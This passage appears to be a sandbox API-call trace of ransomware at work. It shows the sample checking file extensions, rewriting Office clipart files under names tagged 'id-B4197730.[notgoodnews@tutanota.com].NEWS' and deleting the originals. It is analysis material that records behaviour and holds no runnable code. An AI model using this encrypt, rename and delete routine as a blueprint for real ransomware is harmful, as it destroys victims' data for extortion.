[0078.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.739] lstrlenW (lpString=".doc") returned 4 [0078.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.739] lstrlenW (lpString=".docx") returned 5 [0078.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.740] lstrlenW (lpString=".pdf") returned 4 [0078.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString=".xls") returned 4 [0078.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.740] lstrlenW (lpString=".xlsx") returned 5 [0078.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.740] lstrlenW (lpString=".ppt") returned 4 [0078.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.740] lstrlenW (lpString=".zip") returned 4 [0078.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.740] lstrlenW (lpString=".rar") returned 4 [0078.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString=".bz2") returned 4 [0078.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString=".7z") returned 3 [0078.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.740] lstrlenW (lpString=".dbf") returned 4 [0078.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.740] lstrlenW (lpString=".1cd") returned 4 [0078.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.740] lstrlenW (lpString=".jpg") returned 4 [0078.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.740] lstrlenW (lpString=".doc") returned 4 [0078.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.740] lstrlenW (lpString=".docx") returned 5 [0078.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.740] lstrlenW (lpString=".pdf") returned 4 [0078.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.741] lstrlenW (lpString=".xls") returned 4 [0078.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.741] lstrlenW (lpString=".xlsx") returned 5 [0078.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.741] lstrlenW (lpString=".ppt") returned 4 [0078.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.741] lstrlenW (lpString=".zip") returned 4 [0078.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.741] lstrlenW (lpString=".rar") returned 4 [0078.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.741] lstrlenW (lpString=".bz2") returned 4 [0078.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.741] lstrlenW (lpString=".7z") returned 3 [0078.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.741] lstrlenW (lpString=".dbf") returned 4 [0078.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.741] lstrlenW (lpString=".1cd") returned 4 [0078.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0078.741] lstrlenW (lpString=".jpg") returned 4 [0078.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.741] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.741] lstrlenW (lpString="BD19986_.WMF") returned 12 [0078.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.742] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=14486) returned 1 [0078.742] CloseHandle (hObject=0x358) returned 1 [0078.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0078.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0078.742] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.742] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0078.742] GetLastError () returned 0x0 [0078.742] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3896, lpOverlapped=0x0) returned 1 [0079.050] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x38a0, lpOverlapped=0x0) returned 1 [0079.051] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.051] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.052] SetEndOfFile (hFile=0x330) returned 1 [0079.052] CloseHandle (hObject=0x330) returned 1 [0079.053] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.053] SetEndOfFile (hFile=0x358) returned 1 [0079.054] CloseHandle (hObject=0x358) returned 1 [0079.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0079.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString=".doc") returned 4 [0079.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".docx") returned 5 [0079.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.055] lstrlenW (lpString=".pdf") returned 4 [0079.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".xls") returned 4 [0079.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.055] lstrlenW (lpString=".xlsx") returned 5 [0079.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.055] lstrlenW (lpString=".ppt") returned 4 [0079.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString=".zip") returned 4 [0079.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.055] lstrlenW (lpString=".rar") returned 4 [0079.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".bz2") returned 4 [0079.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".7z") returned 3 [0079.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString=".dbf") returned 4 [0079.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString=".1cd") returned 4 [0079.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString=".jpg") returned 4 [0079.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.055] lstrlenW (lpString=".doc") returned 4 [0079.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.055] lstrlenW (lpString=".docx") returned 5 [0079.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.056] lstrlenW (lpString=".pdf") returned 4 [0079.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString=".xls") returned 4 [0079.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.056] lstrlenW (lpString=".xlsx") returned 5 [0079.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.056] lstrlenW (lpString=".ppt") returned 4 [0079.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.056] lstrlenW (lpString=".zip") returned 4 [0079.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.056] lstrlenW (lpString=".rar") returned 4 [0079.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString=".bz2") returned 4 [0079.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString=".7z") returned 3 [0079.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.056] lstrlenW (lpString=".dbf") returned 4 [0079.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.056] lstrlenW (lpString=".1cd") returned 4 [0079.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0079.056] lstrlenW (lpString=".jpg") returned 4 [0079.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.056] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.056] lstrlenW (lpString="BL00130_.WMF") returned 12 [0079.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.057] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1464) returned 1 [0079.058] CloseHandle (hObject=0x358) returned 1 [0079.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0079.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.058] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.058] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0079.058] GetLastError () returned 0x0 [0079.058] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5b8, lpOverlapped=0x0) returned 1 [0079.060] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0079.061] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.061] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.061] SetEndOfFile (hFile=0x330) returned 1 [0079.061] CloseHandle (hObject=0x330) returned 1 [0079.062] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.062] SetEndOfFile (hFile=0x358) returned 1 [0079.063] CloseHandle (hObject=0x358) returned 1 [0079.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0079.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.063] lstrlenW (lpString=".doc") returned 4 [0079.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.063] lstrlenW (lpString=".docx") returned 5 [0079.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.063] lstrlenW (lpString=".pdf") returned 4 [0079.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.063] lstrlenW (lpString=".xls") returned 4 [0079.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.063] lstrlenW (lpString=".xlsx") returned 5 [0079.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.064] lstrlenW (lpString=".ppt") returned 4 [0079.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.064] lstrlenW (lpString=".zip") returned 4 [0079.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.064] lstrlenW (lpString=".rar") returned 4 [0079.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString=".bz2") returned 4 [0079.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString=".7z") returned 3 [0079.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.064] lstrlenW (lpString=".dbf") returned 4 [0079.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.064] lstrlenW (lpString=".1cd") returned 4 [0079.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.064] lstrlenW (lpString=".jpg") returned 4 [0079.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.064] lstrlenW (lpString=".doc") returned 4 [0079.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString=".docx") returned 5 [0079.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.064] lstrlenW (lpString=".pdf") returned 4 [0079.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString=".xls") returned 4 [0079.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.064] lstrlenW (lpString=".xlsx") returned 5 [0079.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.064] lstrlenW (lpString=".ppt") returned 4 [0079.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.065] lstrlenW (lpString=".zip") returned 4 [0079.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.065] lstrlenW (lpString=".rar") returned 4 [0079.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.065] lstrlenW (lpString=".bz2") returned 4 [0079.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.065] lstrlenW (lpString=".7z") returned 3 [0079.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.065] lstrlenW (lpString=".dbf") returned 4 [0079.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.065] lstrlenW (lpString=".1cd") returned 4 [0079.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0079.065] lstrlenW (lpString=".jpg") returned 4 [0079.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.065] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.065] lstrlenW (lpString="BL00148_.WMF") returned 12 [0079.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.066] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1696) returned 1 [0079.066] CloseHandle (hObject=0x358) returned 1 [0079.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0079.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.066] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.066] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0079.067] GetLastError () returned 0x0 [0079.067] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x6a0, lpOverlapped=0x0) returned 1 [0079.068] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x6b0, lpOverlapped=0x0) returned 1 [0079.069] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.069] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.069] SetEndOfFile (hFile=0x330) returned 1 [0079.069] CloseHandle (hObject=0x330) returned 1 [0079.070] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.070] SetEndOfFile (hFile=0x358) returned 1 [0079.071] CloseHandle (hObject=0x358) returned 1 [0079.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.072] lstrlenW (lpString=".doc") returned 4 [0079.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.072] lstrlenW (lpString=".docx") returned 5 [0079.072] lstrcmpiW (lpString1=".docx", 